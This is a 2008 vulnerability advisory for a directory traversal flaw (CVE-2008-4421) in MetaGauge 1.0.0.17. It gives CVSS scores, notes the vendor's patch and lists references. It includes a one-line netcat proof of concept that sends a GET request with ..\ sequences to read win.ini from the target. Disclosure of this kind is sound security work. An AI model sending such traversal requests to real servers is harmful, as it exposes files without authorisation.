MetaGauge 1.0.0.17 Directory Traversal

2008.10.09
Credit: brad antoniewicz
Risk: High
Local: No
Remote: Yes
CVE: CVE-2008-4421
CWE: CWE-22


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

Title: MetaGauge 1.0.0.17 Directory Traversal ------------------------------------------------------------- Vendor: Hammer Software Vendor URL: www.Hammer-Software.com Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release. Description: A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. Example: C:\> nc targethost 2004 GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1 Patch Information: Hammer has addressed the issue in the latest version of MetaGauge: http://dl.hammer-software.com/metagauge.zip CVE: CVE-2008-4421 Credit: Brad Antoniewicz brad.antoniewicz (at) foundstone (dot) com [email concealed]

References:

http://www.securityfocus.com/bid/31596
http://www.securityfocus.com/archive/1/archive/1/497039/100/0/threaded
http://www.milw0rm.com/exploits/6686
http://www.frsirt.com/english/advisories/2008/2747
http://secunia.com/advisories/32094


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